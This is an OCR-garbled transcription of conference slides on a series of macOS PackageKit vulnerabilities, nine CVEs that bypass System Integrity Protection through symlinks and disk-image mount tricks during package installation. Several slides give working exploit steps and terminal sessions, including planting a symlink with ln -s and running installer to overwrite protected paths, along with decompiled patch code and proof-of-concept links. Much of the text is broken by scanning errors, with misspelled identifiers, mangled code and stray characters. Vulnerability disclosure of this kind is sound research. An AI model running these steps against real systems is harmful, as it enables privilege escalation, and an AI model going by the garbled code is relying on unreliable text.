Endless Exploits

The Saga of a macOS Vulnerability Struck Nine Times
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SIP Quick Brief

About the File System Protection

« A special sandbox applied to the entire system

» Configuration: /System/Library/Sandbox/rootless.conf

fuzz@fuzzs-Mac /tmp % cat /System/Library/Sandbox/rootless.conf
/Applications/Safari.app
/Library/Apple
TEL /Library/AppIacation Support/com.apple.TCC
CoreAnalytics /Library/CoreAnalyts

NetFSPlugins /Library/Filesystems/Net ugins/Staged
NetFSPlugins /Library/Filesystems/NetFSPlugl
/Library/Frameworks/iTunesLibrary.fra

KernelExtenslonManagement /Library/(c o efuzzs-Mac /tmp % 1ls -1a0OQ /Library/Apple
KernelExtensionManagement /L1brary/’t0tal 9

MessageTracer FLIDTATY/N yorerenli B root whasl

AudioSettings /L}brary/F
drwxr-xr-x 63 root wheel sunlnk 2016 May

drwXr—xr—x root wheel restricted 96 May - Library
dIWXI—-XI—X root wheel restricted 96 May - System
drwxr—-xr—x root wheel restricted 96 May - usr

160 May
%)

fuzz@Pfuzzs-Mac /tmp % sudo touch /Library/Apple/sip
touch: /Library/Apple/sip: Operation not permitted
uzzPtuzzs—-Mac /tmp %
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The PackageKit Framework




The PackageKit Framework
What's this?

. m 1 zh_CN.lproj
. A private framework g
. XPCServices —IPro)
. . o o o " zh_TW.lproj
- Frameworks
y Maln JOb PKG |“Sta"at|0n .. com.apple.system_installd.CacheDelete.plist

~ Versions

.. CoreLanguages.plist

« Bundled with two main install daemons

. Info.plist
. . version.plist
’ |“Sta"d . deferred_install.sh
B deferred_install
B DeferredinstallFixup
« Unsigned PKGs M injectfse
B install_monitor
= M installd
M shove

« Apple-signed PKGs

B system_shove

- 3rd-party developer signed PKGs

e Both run as root, share the same
implementation in the PackageKit.framework —
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The PackageKit Framework

Why is it so attractive?

. installd
» Root privilege escalation

» system_installd

« Entitlement: (CS_INSTALLER privilege
for the service and all of its child processes to update the SIP-protected paths)

- SIP Bypass (means the full TCC Bypass)

« Lots of vulnerabilities disclosed in the history (40+ reported by myself)



The PackageKit Framework

Attack Surfaces

- PKInstallOperations

- Some will be triggered in some special scenarios

[Pre|Post]-install action scripts in the PKGs
« Apple-signed PKGs: SIP Bypass
« Other PKGs: Root Privilege Escalation

Function name

IE -[PKUpdatePrebootinstallOperation main]
-[PKInformSystemPolicylnstallOperation main]
7| -[PKExtractinstallOperation main]
-[PKRunPackageScrlptlnstaIIOperatlon main]
-[PKPatchFilesinstallOperation main]
-[PKRelocateComponentsinstallOperation main]
-[PKObsoIetlonInstaIIOperatlon main]
-[PKAddExtendedAttributesinstallOperation main]
-[PKDYLDCachelnstallOperation main]
-[PKSetupDeferredInstaIIOperatlon main]
-[PKShoveInstaIIOperatlon main]
-[PKKextCachelnstallOperation main]
-[PKLSRegisterinstallOperation main]
-[PKerteRecelptslnstaIIOperatlon main]
-[PKAddRestrictedRootFlaginstallOperation main]
-[PKPatchAndUpdatelnstallOperation main]
-[PKerteMASRecelptInstaIIOperatlon main]
-[PKPrepareForCommitinstallOperation main]
-[PKPrepareDiskinstallOperation main]
-[PKXPCCacheInstaIIOperat|on main]
-[PKVerlfyMASPaonadInstaIIOperatmn main]
-[PKResolveRootSymlinksinstallOperation main]

DDDDDDDDDDD IIDDDDDDDDD
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install.log

2024-08-20 16:32:47+08 mickey—mbp
2024—-08-20 16:32:47+08 mickey—-mbp
2024—-08-20 16:32:47+08 mickey—-mbp

"PKLeopardPackage <1d com.

;2024 08 20 16:32:47+08 mlckey mbp
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The PackageKit Framework

(system_)installd main workflow

system_installd[1316]:
system_installd[1316]:
system_installd[1316]:

apple pkg PagesEndNote, version=4.

system 1nsta11d[1316]

\/ =1 A . O

tem ins .

i2624 —08-20 16 32 47+08 mlckey mbp system 1nsta11d[1316]
‘InstallerSandboxes/.PKInstallSandboxManager-SystemSoftware/1B5D4961-06E8—-4AFF-B69B-97553002F5E1.activeSandbox/OpenPath.mdp6EA/Scripts/com.apple.pkg.PagesEndNote.gyPgD7
Temporarily excluding: /Applications,
Running Install Scripts

Begin script:
removeOldEndNote.pl:
removeOldEndNote.pl:
removeOldEndNote.pl:
End script:

install monitor[50253]:
root[50256]:
root[50258]:
root[50260]:
root[50261]:
root[50262]:
root[50263]:

oo__/% oY

system_ 1nsta11d[1316]

i2024 08 20 16: 32 47+68 mlckey mbp system 1nsta11d[1316]:

“185D4961 06E8 4AFF 869B 97553002F5E1 actlveSandbox/Root

,_,,A,, ,»‘
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04+e8
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:05+08
45:
45:
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mlckey mbp
mickey-mbp
mickey—-mbp
mickey—-mbp
mickey—-mbp
mickey-mbp
mickey-mbp
mickey-mbp
mickey-mbp
mickey-mbp
mickey—-mbp
mickey—-mbp

& "'e T

system 1nsta11d[1316]:
system_installd[1316]:
system_installd[1316]:
install monitor[50253]:
system_installd[1316]:
system_installd[1316]:
system_installd[1316]:
system_installd[1316]:
system_installd[1316]:
system_installd[1316]:
system_installd[1316]:
system_installd[1316]:

ylerary/InstallerSandboxes/ PKInstallSandboxManager SystemSoftware/lBSD4961 06E8 4AFF 8698 97553002F5E1 act1veSandbox/Root

';n' ..'

) ® ® ¢ M Q
Reveal Now Clear Reload Share
PackageKit: ————— Begin install ————
PackageKit: request=PKInstallRequest <1 packages, destination=/>
PackageKit: packages=(
2 1 1628343686 url flle //localhost/tmp/PagesEndNote pkg#PagesEndNote pkg>"
PackageKlt: Extractlng flle //localhost/tmp/PagesEndNote pkg#PagesEndNote pkg (destlnatlon /L1brary/App1e
“Lid0) PKExtractInstaIIOperatlon
AHEKTE AT TP 16 o = SR-1-lok AR R e e e s et ik
PackageKit: suspendi 9. .Rackupd , e LN S e A S O e S S P
PackageKlt Executlng script "prelnstall" 1n /lerary/Apple/System/L1brary/

PackageKlt U51ng system content trashcan path /L1brary/Apple/System/L1brary/
InstallerSandboxes/ PKInstallSandboxManager SystemSoftware/185D4961 —Q6E8- 4AFF B69B-97553002F5E1. actlveSandbox/Trashes for sandbox /L1brary/Apple/System/lerary/

-o.LABEDLOA

PackageKlt

l

PackageKlt Wr1t1ng system content rece1pt for com. apple pkg PagesEndNote to /

Installed

Successfully wrote install history to /Library/Receipts/InstallHistory.plist
Re-included:
PackageKit:
PackageKit:
PackageKit:
PackageKit:
PackageKit:
PackageKit:
PackageKit:
PackageKit:

SRS

/Library, /Systenm,

removeOldEndNote.pl

Entering
removing not path found
exiting

removeOldEndNote.pl

’_ 2_ = __!f..;. ",‘-*";"" - 2Va§>V5074

Shov1ng /L1brary/App1e/System/L1brary/InstallerSandboxes/ PKInstallSandboxManager SystemSoftware
(1 1tems) to /

"Pages EndNote Plug-in" ()

/Applications, /Library, /System, /bin,
releasing backupd

allow user idle system sleep

End install
737 .4s elapsed install time

Cleared responsibility for install from 50252.

Running idle tasks

Done with sandbox removals

/bin,

/private,

Removing client PKInstallDaemonClient pid=50252,

/private, /sbin, /usr

PKRunPackageScriptinstallOperation

PKShoveInstaIIOperatlon

/sbin, /usr

uid=0 (/usr/sbin/installer)



The PackageKit Framework
PKShovelnstallOperation

» Src is the extracted payload, in the install sandbox repository, is usually SIP-protected

» Dst is the install destination, the subpath may not be protected by SIP

2024—-08-20 16:32:47+08 mickey-mbp system_installd[1316]: PackageKit: Shoving /Library/Apple/System/Library/InstallerSandboxes/.PKInstallSandboxManager—-SystemSoftware/
1B5D4961-06E8—-4AFF-B69B-97553002F5E1.activeSandbox/Root (1 items) to /

< > Plugins 38 = v O Ov Q

| Trashes ' —— Library > —— Applica...upport > —— ResearchSoft > — EndNote — Plugins PagesEndNote-v3.bundIei
B B7ADS.. COAA27 > | Frasuamsnmamammestos oo emsssass i s onmsss s a8 A S O P A A A A AEAABr )
~ OpenP...dp6EA

~ Root

' Boms

& MBP > @@ Library > B Apple > B System > BB Library > B InstallerSandbc > BB .PKInstallSandl > B 1B5D4961-06E > B Root > B Library > BB Application Sur > B ResearchSoft > B EndNote > BB Plugins
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The PackageKit Framework

-[PKCoreShove shoveOnelLevel:dest:}]

Dst Path

Regular file Directory Symlink

removefile(dst dir),

_relinkFile relinkFile _relinkFile
unlink(dst), relinkFile Call -[shoveOn‘eLeveI:dest:] )
recursively
_relinkFile removetile(dst_dir), _relinkFile

_relinkFile

i



Replace the target directory with a symlink
before shoving?



PackageKit

Available for: macOS Monterey

Impact: A malicious app with root privileges may be able to modify the contents of system files

Description: An issue in the handling of symlinks was addressed with improved validation.

CVE-2022-26688: Mickey Jin (@patch1t)

Entry added May 25, 2022
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CVE-2022-26688

The test is also the exploit

®@ O

sh-3.2# sw_vers

ProductName: macOS

ProductVersion: 12.0.1

BuildVersion: 21A559

sh-3.2# csrutil status

System Inteqrity Protection status: enabled.

sh-3.2# 1s -1a0@ /Library/Apple/ o S

total ©

drwxr-xr-x@ 5 root wheel restricted 160 Oct 17
_..com.apple.rootless @ |

drWXT—XT—Xx 63 root wheel sunink 2016 Nov 2 2021 ..

drwxr—-xr-x 3 root wheel restricted 96 Oct 17 2021 Library

drwxr—-xr—x 3 root wheel restricted 96 Oct 17 2021 System

el ~ oW, oMV LA e T

S RETEE

sh 3 2# mkd1r -p /L1brary/App11cat10n\ Support/ResearchSoft/EndNote

sh-3.2# 1n —s /lLibrary/Apple /Library/Application)\ Support/ResearchSoft/F

sh—3.2# installer —pkg /tmp/PagesEndNote.pkg —target /
installer: Package name is Pages EndNote Plug-in

installer: Installing at base path /

,ingtallerm_The 1nstallrwas successful‘__vv_w%;u _
sh-3.2# 1s —-1a0@ /Library/Apple/ T S

total ©

drwxr—-xr—x 6 root wheel - 192 Aug 4 17:59 .
drwxr-xr-x 63 root wheel sunlnk 2016 Nov 2 2021 ..

-
W Kol TTAYS Y4 o R a5 W T o | V1 o W=V =W BEGUR, of =% o il e Y s ol = PO ¥ W A ¥ o S

test — bash —159%x42

drwxr XI=X - B A H wPagesEndNofe—VB bundle}

st S S e R SR8
drwxr—xr—x 3 root wheel restricted 96 Oct 17 2021

sh-3.2# rm -rf /L1brary/Apple/PagesEndNote -v3.bundle

‘_.h._ . = _lA. . _... .-_._ . . . . LMo, ‘).. ! WA -.,‘.. .‘ A o

sh-3. 2# ls —laO@ /L1brary/Apple/

total 8

,erXIfxr*XAr,A_IQOtWMWheel,w,ﬂ,_ 172 AUG &4 1O6:.YY .
drwxr-xr-x 63 root “sunlnk ©2016 Nov 2 2021 ..
drwxr—-xr-x restricted Library
drwxr-xr-x Iestricted 96 Oct 17 2021 System
—IW-T——TY—-— | — ”“  ;%1, h,  Mu“ __ ;_;::;\f a.
drwxr—-xr-x ‘rest ed Oct 17 2021

sh-3.2#




CVE-2022-26688

What happened under the hood?

Filesystem Statistics ¢ €) shove (19736) E

Narrative Backtrace

__rename
libsystem_kernel.dylib

| rename
iperformed rename on path stem/Library/InstallerSandboxes/.PKInstallSandboxManager-SystemSoft 1 libsystem_kernel.dylib

" _[PKCoreShove _ relinkFile:dest:sourceAttribs:destAttribs:]
= PackageKit_

= ~~ iy S ~ _ _ ey

-[PKCoreShove shoveOnelevel:dest:]
PackageKit

-|PKCoreShove shoveOnelevel:dest:]

4 PackageKit
;5 -|PKCoreShove shoveOnelevel:dest:]
PackageKit
6 -|PKCoreShove shoveOnelevel:dest:]
Spawned by system_installd with the Packagekit
e e -|[PKCoreShove shoveOnelevel:dest:]
CS INSTALLER privilege 7 B2 packagekit
3 -|PKCoreShove shoveOnelevel:dest:]

PackageKit

O0x104e61387/

shove

start
dyld



CVE-2022-26688

-[PKCoreShove _relinkFile:dest:sourceAttribs:destAttribs:]

objc_msgSend ( , ' _extendedAttributeDataForPath:andName:", , CFSTR("com.apple.rootless"));

r

(const char *)objc msgSend( , 'fileSystemRepresentation");

* error();
objc msgSend ( ', " _debugPathDescription:", )
objc msgSend ( , 'stringByDeletingLastPathComponent");
objc msgSend ( ', " _debugPathDescription:", )
objc msgSend (
&OBJC_CLASS __ NSString,
"stringWithFormat:",
CFSTR("Error relinking file (primary): %@ to %@, error = %d\nsrcPath = %$@\ndstParentPath = %@"),

’

- I
(unsigned int)

r

) 7
objc_msgSend ( , "logWithLevel:withMessage:", 2LL,
objc_msgSend (

r
" reportShoveError:source:dest:shoveError:line:",

I
’

r
CFSTR( "PKCoreShoveErrorFailedToRename"),
&unk 7FF950759EF0);

I
objc_msgSend ( , _propagateFileModification:flags:eaValue:",

}

else

{

if...
* error() = 0;

'6bjc_még8éhd( v""_étbpagatéfileModifiCationiflagéieaValuéé", st 1 77

return -
000310C6 -[PKCoreShove relinkFile:dest:sourceAttribs:destAttribs:]:31 (7FF91153C0C6)

16



CVE-2022-26688

-[PKCoreShove propagateFileModification: flags eaVaIue : ]

176 | V37 = (const C ar "¥)objc_msgoend _O(voo, TTilesystemRepresentationt)s
177 1f ( lchflags(v37, flags) )
‘—,. AR 0t amit -

V5 *__error();
180 v38 = objc_msgSend_0(

181 &0BJC_CLASS__ NSString,

182 "stringWithFormat:",

183 CFSTR(" [src=%s] %@: unable to restore flags 0x%x (error %d)"),

184 v34

185

186

187

188

189

190

191 v60 = fl & (v59 | 0x80)

192 if ( (L & 0x80000) == 0 || !v57 )

193 {

194 v40 = self;

195 if (

196 && (|I|q & 0x80000)

197 && och msgSend 0(s ’, " extendedAttributeDataForPath:andName:" wgB, CFSTR("com.apple.rootless")) )
199 49 = (const char *)ob]c msgSend 0( ?, "flleSystemRepresentatlon“)

200 1f ( removexattr( ""com.apple. rootless", 1) )

201 e .
202 = % _errortl); oo
203 v50 = objc_msgSend_0(

204 &0BJC_CLASS__ NSString,
205 "stringWithFormat:",
206 CFSTR(" [src=%s] %@: restored flags @x%x and failed to clear storage class (error %d)"),
207 v34

208

209 v60

210 v52);

211 objc_msgSend_0(self, "logWithLevel:withMessage:", 1LL, v50);

212 goto LABEL_75;

213 }

214 v39 OLL;

215 v38 = objc_msgSend_0(

216 &0BJC_CLASS___ NSString,

217 “stringWithFormat .

218 CFSTR("[src—os] restored flags 0x%x and cleared storage class"),

000326B3 —[PKCoreShove propagateFlleModlflcatlon flags:eaValue:]:177 (7FF9135C06B3)




CVE-2022-26688

Patch in macOS 12.3

® © ® install.log &) ® ® ¢ M Q

Reveal Now Clear Reload Share

2023-09-22 11:11:37+08 fuzz-mac system_installd[828]: PackageKit: Shoving /Library/Apple/
System/Library/InstallerSandboxes/.PKInstallSandboxManager-SystemSoftware/
3C21190B-71EC-487C-839C-45B80DBD4E1D.activeSandbox/Root (1 i1items) to /

2023-09-22 11:11:37+08 fuzz-mac shove[1253]: [src=restricted,nounlink] /: unable to restore

flags 0x80000 (error 390)
2023-09-22 11:11:37+08 fuzz-mac shove[1253]: [resolved_dest=trusted, orig_dest=not trusted]

not resolving symlink. orig_dest=/Library/Application Support/ResearchSoft/EndNote/Plugins
resolved dest /L1brary/App1e

if ( (unsigned __int8)PKSIPCurrentProcessCanModifySystemIntegrityProtectionFiles()
&& (orig_dest _fd = (unsigned 1nt)objc_msgSend(vJ9, "fileDescriptor"),
'rootless_check_ trusted _fd(orig_dest_fd))
&& (resolved_dest_f« (un51gned 1nt)och msgSend( 32, "fileDescriptor"),
rootless_check_ trusted _fd(re d_de d)) )
// resolved_dest=trusted, orig_dest=not trusted
v158 = objc_msgSend(
&0BJC_CLASS___ _NSString,
"stringWithFormat:",

CFSTR(" [resolved_dest=trusted, orig_dest=not trusted] not resolving symlink. orig_dest=%@ resolved_dest=%@"),

voul,

. V276);
V160 655c retainAutoreleasedReturnvalue (v );
—[PKCoreShove logWithLevel:withMessage:] (s

I t 1 = I o1/

= v301

ob]c release(dst 1);

0002F030 —-[PKCoreShove shoveOnelLevel:dest:]:216 (7FF908E5C030)
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CVE-2022-26688

Patch in macOS 12.3

Filesystem Statistics ¢ € shove (21737)

Thread Narrative Backtrace

-[PKCoreShove shoveOnelLevel:dest:]... shove (21737) performed unlink and deleted file at path [Library/Application Support/ResearchSoft/EndNote/Plugins —unlink

-[PKCoreShove shoveOnelevel:dest:]
PackageKit

-[PKCoreShove shoveOnelevel:dest:]
PackageKit

-[PKCoreShove shoveOnelevel:dest:]
PackageKit

-[PKCoreShove shoveOnelevel:dest:]
PackageKit

e e T e e e R e e e e e e e e ey -[PKCoreShove shoveOnelevel:dest:]
v1i2/ = (const char Oobjc msgSend(v1Z26, lleSystemRepresentation”); 1 PackageKit

. VY = — ; C -[PKCoreShove shoveOnelevel:dest:
lf ( unllnk( ) ) ~.‘ PE.'FL.LEZU:F?\ t ]

<

-[PKCoreShove shoveWithOptions:]
PackageKit

Ox10cR0FRFR

(unsigned 1int)*_ error();

strerror(vl128);

(void *)-[PKCoreShove debugPathDescription:](self,

objc retainAutoreleasedReturnValue(v130);

objc msgSend(&0BJC CLASS NSString, "stringWithFormat:", &cfstr SourceDirDstFi,
objc retainAutoreleasedReturnValue( e
-[PKCoreShove logWithLevel:withMessage:](self, 2, v133);
objc release(v133);

objc release(v131l);

— ™

- - r

‘ - Oy

((void (_ usercall *)(id@<rdi>, id@<rsi>, id))-[PKCoreShove reportShoveErrorDomain:withCode:shoveError:so

S
*(1id *)NSPOSIXErrorDomain,
&off 7FF947AEB958);

}

else

PkCoreShoVéH;relinkFiléﬁdest:]( elf,

if »(H(wlrjvn“ign'ed” 1t)—[

~ -

< Ry _ - - _ _

\ (usie in)_rr( ) .
0002F6F9 -[PKCoreShove shoveOneLevel:dest:]:597 (7FF908E5C6F9)
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PackageKit
Avalilable for: macOS Monterey

Impact: An app may be able to gain elevated privileges

Description: A logic issue was addressed with improved state management.

CVE-2022-32900: Mickey Jin (@patch1t)

20



CVE-2022-32900

Bypass ldea

Src:  $SandboxRepo/Root/XXX/YYY/Apple

Orig dst:  /XXX/YYY

Symlink, both of paths are

unrestricted (not trusted)

: shove process follows the
ReSC)lVed_d st: /I—| bra ry symlink and overrides the

restricted/trusted subpath

Override:  /Library

Al



CVE-2022-32900

Challenge & Solution

Challenge: Find an Apple-signed PKG with the Payload contents:
“$SandboxRepo/Root/XXX/YYY/Apple”

Solution: Install to a mounted DMG volume
- Even though “Is -laO” shows it is restricted!
- The restricted file flags can’t work in a disk image volume due to the design.

 The install sandbox repository in a disk image volume are fully controlled!

22



CVE-2022-32900

The exploit

« Code
» https://github.com/jhftss/POC/tree/main/CVE-2022-32900

« Demo
e https://youtu.be/710zlgxFvaM

23
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CVE-2022-32900
Patch in the macOS 12.6

/System/Library/PrivateFrameworks/PackageKit.framework/Resources/
shove -D -f -s /private/tmp/.exploit/.PKInstallSandboxManager-
SystemSoftware/1ASFFE24-3A0E-4B81-83F6-

C7C72817DECS5.activeSandbox/Root /private/tmp/.exploit

= objc msgSend ( , 'fileSystemRepresentation");

(unsigned int)rootless check trusted( )
"fileSystemRepresentation"),

= objc _msgSend( ’
) 1= 1) )

if (
| (v21 - ,
(unsigned int)rootless protected volume (

|
y;// =D

objc msgSend(&off 7FF94E1F9698, "arrayByAddingObjectsFromArray:",
= (const char *)objc msgSend ( , 'UTF8String");
"PackageKit: Dropping SIP for shove, source is not trusted. %s", ) ;

syslog DARWIN EXTSN(118,

}
0006E111 -[PKShoveInstallOperation _shoveExtractedRootOntoDestinationReturningError:]:88 (7FF90F9E4111)

IDA - shove [System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/shove

Al. :[a @ :af Zf [&F . 2 [ca = [0 [ Nodebugger

on Data Unexplored External symbol . Lumina function

A View-A X iE Pseudocode-A X \E Hex View-1 X \E Structures

= getopt(v3, , fFsHPcDL:1:");

if ( > 79 )
break;
switch ( )

e BT
if ( !(unsigned int)csops(0LL, 12LL, OLL, OLL) )
o QI LIS 2. ottt i s oot S s oSS i M i e
fwrite("An error occured dropping CS INSTALLER.\n", 0x28ulLL, luLL, stderrp);
= 71;
goto LABEL 36;




PackageKit
Available for: macOS Ventura

Impact: An app may be able to gain root privileges

Description: A logic issue was addressed with improved state management.

CVE-2023-23497: Mickey Jin (@patchtt)
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CVE-2022-23497

The New Issue

The APIls rootless_check trusted and rootless protected volume are
unsafe

- Easy to bypass with a symlink

= objc _msgSend( CheCk Whether the
off 7FF94E1F45ES,
"arrayWithObjects: ",

Sotre T5094B1DESES, extracted payload path is

&cfstr S 0,

r

OLL); // -f -s
if ( (unsigned  int8)PKSIPCurrentProcessCanModifySystemIntegrityProtectionFiles() )

) = objc msgSend( XtractedRootPath, "fileSystemRepresentation'):
if ( (unsigned int)rootless check trusted( ,‘)

|| (v21 = objc msgSend(ex! th, "fileSystemRepresentation"),
(un ;qned 1nt)rootless_protected Volume( 2 ) I= 1) )

= objc msgSend(&off 7FF94E1F9698, arrayByAddlngObjectsFromArray )y;// =D
22 = (const char *)objc msgSend( tract ath, "UTF8String");

syslog DARWIN EXTSN(118, "PackageKit: Dropplng SIP for shove, source is not trusted. %s", v22);

}

0006E111 -[PKShoveInstallOperation _shoveExtractedRootOntoDestinationReturningError:]:88 (7FF90F9E4111)
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CVE-2022-23497

Exploit Again

1. Create a DMG file and mount it to the directory /tmp/.exploit
2. Install an Apple-signed PKG file to the volume /tmp/.exploit

3. Before system_installd calls the APl rootless check _trusted, rcplace the
extracted payload path with a symlink to a restricted location.

4. The “shove” command will be spawned without the parameter “-D“ and
won’t drop the SIP(CS_INSTALLER) privilege.

5. Replace the extracted payload path with our real payload.

28



CVE-2022-23497

The New Challenge & Solution

In -s /tmp/fake_sbx /tmp/.exploit/.PKInstallSandboxManager-SystemSoftware/
BC1F68E6-2514-4DBD-94A9-51D9B9CD3E65.activeSandbox
(then resolved _dest.st_ dev == src.st_dev)
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@ Terminal Shell Edit View Window Help Thu Nov 17 19:32

tmp — bash —142x42

|“' VOT O OTT Oaved

WARNIN
AY 7:36



https://youtu.be/Min4ye0XL88

CVE-2022-23497

Patch in macOS 13.2

int64 _ fastcall PKSIPFullyProtected(_ int64 al)

__1nt64 result; //

if ( (unsigned int)rootless_check trusted_fd(al) )

LOBYTE(result) =
else

LOBYTE(result) = (unsigned int)rootless_protected_volume_fd((unsigned int)al) == 1;
return (unsigned __ int8) qir
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PackageKit

Available for: macOS Ventura

Impact: An app may be able to modify protected parts of the file system

Description: A logic issue was addressed with improved checks.
CVE-2023-23538: Mickey Jin (@patchit)

CVE-2023-27962: Mickey Jin (@patch1t)
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CVE-2023-27962

NEW Ridiculous Issue Introduced! fully protected

objc_msgSend(&0BJC_CLASS___ _NSBundle, "bundleForClass:", v4);
[ | = objc_msgSend(v5, "pathForResourge:g pe : ! hgve, 0

shoveToolPath is SIP

"objc_msgSend(self, "sandbox"): /System/Llbrary/PrlvateFrameworks/PackageKlt framework/Resources/shove

(void *)-[PKInstallSandbox payloadDirectory](v6);
objc_msgSend(self, "request");

objc_msgSend(v8, "destinationPath");
objc_msgSend(&0BJC_CLASS__ NSFileManager, byte_7FF832B63C06);

objc_msgSend(v10, byte_7FF832B79F08, , I
objc_msgSend(v11l, "count");
(const char *)objc_msgSend(v7, "UTF8String");
(const char x)objc_msgSend(v9, "UTF8String");
syslog DARWIN_EXTSN(118, "PackageKit: Shoving %s (%d items) to %s'", v13, (unsigned int)v12
if ( 'v12 )

return 1;
objc_msgSend(self, "_moveActiveDYLDCacheIfNeeded");
15 = objc_msgSend(self, "request");
if...
21 = objc_msgSend(&0BJC_CLASS___NSArray, "arrayWithObjects:", &stru_7FF855BB9D88, &cfstr_S_0,
if ( !(unsigned __ int8)PKSIPCurrentProcessCanModifySystemIntegrityProtectionFiles() )

goto LABEL 12;

= (cowst char *)objc_msgSend(s! ‘oolpPath, "fileSystemRepresentation");

'3 = open(v22, 0x220000);
if ( v23 >= 0 )
{

A S ) S Y e e T Always TRUE!

/ = objc msgSend(&off 7FF855BD3D30, "arrayByAddanObJectsFromArray ", v47);
= (const char *)objc_msgSend(v7, "UTF8String");
syslog DARWIN_EXTSN(118, "PackageKit: Dropping SIP for shove, source is not trusted. %s", v25);

}

close(v24):
00070CDC —-[PKShovelInstallOperation _shoveExtractedRootOntoDestinationReturningError:]:32 (7FF8326EDCDC)

33



CVE-2023-27962

The exploit

« Code
» https://aithub.com/jhftss/POC/tree/main/CVE-2023-27962

¢« Demo

« https://youtu.be/rEKL NAtS5U4
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https://github.com/jhftss/POC/tree/main/CVE-2023-27962
https://youtu.be/rEkLNAtS5U4

CVE-2023-27962

Patch Again in macOS 13.3 Immediately

5 [PKShoveInstallOperation sandbox] (self, "sandbox");
doir = (void x)-[PKInstallSandbox pa loadDirector ]( 5); CheCk the extracted payload path
—NKohovelnstallOperation requestl(seLr, nrequestm),; 2
obj% _msgSend(v7, "destinationPath");
objc_«sgSend(&OBJC CLASS___ NSFileManager, "defaultManager“)
objc_mMggSend(v9, "contentsOfDirectoryAtPath:error:", payloadDir, a3);
objc_ms¥Send(v10, "count");
(const cyr *)objc_msgSend(pgyLuguﬁ;r, "UTF8String");
113 (const chaN*)objc_msgSend(v8, "UTF8String");
syslog DARWIN_EXTSN(118, "PackageKit: Shoving %s (%d items) to %s", v12, (unsigned int)v11l, v13);
if ( 'vll )
return 1;
- [PKShoveInstallOperatidn _moveActiveDYLDCacheIfNeeded] (self, " _moveActiveDYLDCacheIfNeeded");
vl4 = -[PKShoveInstallOpeation request](self, "request");
if...
v20 = objc_msgSend(&0BJC_CLASS__ NSArray, "arrayWithObjects:", CFSTR("-f"), CFSTR("-s"), payloadDir, v8, OLL);
if ( !(unsigned __ int8)PKSIPCUgrentProcessCanModifySystemIntegrityProtectionFiles() )
goto LABEL 12;

i II\.-'
‘\.

uz; (const char *)ob]c msgSend( Luamﬁ;?, "fileSystemRepresentation");
22 = open(v21, ©0x220000);
1f (v22 >= 0 )
{ I

.,-.l

_ﬁi%fx '<unsloned __int8)PKSIPFullyProtected((unsigned int)v22) ) _

v48 = objc_msgSend(&off_ 7FF9426857F0 "arrayByAddingObjectsFromArray:", v48);

v24 = (const char *)objc_msgSend(payloadDir, "UTF8String");

syslog_DARWIN_EXTSN(118, "PackageKlt Dropping SIP for shove, source is not trusted. %s", v24);
by

close(v23);
00070E2D -[PKShoveInstallOperation _shoveExtractedRootOntoDestinationReturningError:]:46 (7FF902908E2D)
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PackageKit

Available for: macOS Ventura

Impact: An app may be able to modify protected parts of the file system

Description: The issue was addressed with improved checks.

CVE-2023-38564: Mickey Jin (@patch1t)
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CVE-2023-35864

The issues

R TR T e ey e s veaasnss The Install sandbox repository could be

yloadDir = (void x)- [PKInstallSandbox_pa loalerector,]‘q;w;“; | : -
TAEES L SR R RS R RIS CONtrolled from a disk image volume
objc_msgSend(v7, "destinationPath");
objc_msgSend(&OBJC_CLASS___NSFileManager, "defaultManager");
objc_msgSend(v9, "contentsOfDirectoryAtPath:error:", payloadDir, a3);
objc_msgSend(v10, "count");
(const char *)objc_ msgSend(»1 loadDir, "UTF8String");
113 (const char *)objc_msgSend(v8, "UTF8String");
syslog DARWIN_EXTSN(118, "PackageKlt Shoving %s (%d items) to %s'", v12, (unsigned int)v11l, v13);
if ( 'vll )
return 1;
—[PKShoveInstallOperation moveActiveDYLDCacheIfNeeded](setﬂ, " moveActiveDYLDCacheIfNeeded");
vl4 = -[PKShoveInstallOperation request](self, "request");
if.
vz@ — objc_msgSend(&OBJC_CLASS___NSArray, "arrayWithObjects:", CFSTR("-f"), CFSTR("-s"), payloadDir, v8, OLL);
if ( !'(unsigned __ int8)PKSIPCurrentProcessCanModifySystemIntegrityProtectionFiles() )
goto LABEL 12;

f .
{

'w?’ '(const char *)ob]c msgSend(»l qu L}}}"flleSystemRepresentatlon“) - _ a

v22 /21, 0x22 - Z "

Faat ira i satl Open with the flag “O_SYMLINK
| Not “O_NOFOLLOW_ANY”

i ‘.m!(9ﬂ§ign¢qiWmiﬂtSIPKSIPFullﬁRrotegteq&Lunsi!ned_%ntlyEEQﬂ)._A

v48 = objc_msgSend(&off_7FF9426B57F0, "arrayByAddingObjectsFromArray:", v48);
v24 = (const char x)objc_msgSend(pay load IDir, "UTF8String");

syslog DARWIN_EXTSN(118, "PackageKlt Dropping SIP for shove, source is not trusted. %s", v24);
by

close(v23);
00070E2D -[PKShoveInstallOperation _shoveExtractedRootOntoDestinationReturningError:]:46 (7FF902908E2D)
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CVE-2023-35864

Install Sandbox Repository

Returned (and Created) by the function -[PKInstallSandboxManager

_sandboxRepositoryForDestination:forSystemSoftware:create:error:]

9w | n
([ ]

. |nstall target is on the root volume “/”:

» For Apple-signed PKGs :
/.PKInstallSandboxManager-
SystemSoftware

» For other PKGs : /.PKInstallSandboxManager

. |nstall target is not on the root volume:
- For Apple-signed PKGs : $target\/olume/.PKInstallSandboxManager-SystemSoftware
« For other PKGs : $targetVolume/.PKInstallSandboxManager
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CVE-2023-35864

Exploit via the mount trick

1. Create a DMG file and it to the directory /tmp/.exploit
2. Install an Apple-signed PKG to the volume /tmp/.exploit

3. In the function -[PKInstallSandboxManager
_sandboxRepositoryForDestination:forSystemSoftware:create:error:], once it creates and returns
the path /tmp/.exploit/.PKInstallSandboxManager-SystemSoftware (inside the DMG volume) as its
sandbox repository, | can the DMG volume immediately. Then the sandbox repository will be on
the root volume, with the prefix path /tmp/.exploit

4. Next, the service will create the restricted payload directory inside the sandbox repository by
using the APl rootless_mkdir_restricted.

5. The payload directory is restricted, so the shove command will not drop the SIP privilege.

6. The payload directory can’t be modified directly, but | can another DMG file to /tmp/.exploit
again. Then it will become unrestricted and thus | can deploy my malicious payload there
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CVE-2023-35864

_Patch in macOS 13.5

)~ [PKShovelnstallOperation sandbox] ( ';V "sandbox" N

->_ trustedSystemSandbox;

= 0;

""_ , .' p " L s -, i Sy~ Y R SRS e -- A
(ve £) = [PKInstaLlSandbox payloadolre :

[PKShoveInstal (Operation fLC]UL:-t](
objc_msgSend(v&, "destinationPath");

objc_msgSend (&0BJC_CLASS___NSFileManager,

objc_msgSend( , "contentsOfDirectoryAtPath:
objc_msgSend(v1l, "count");

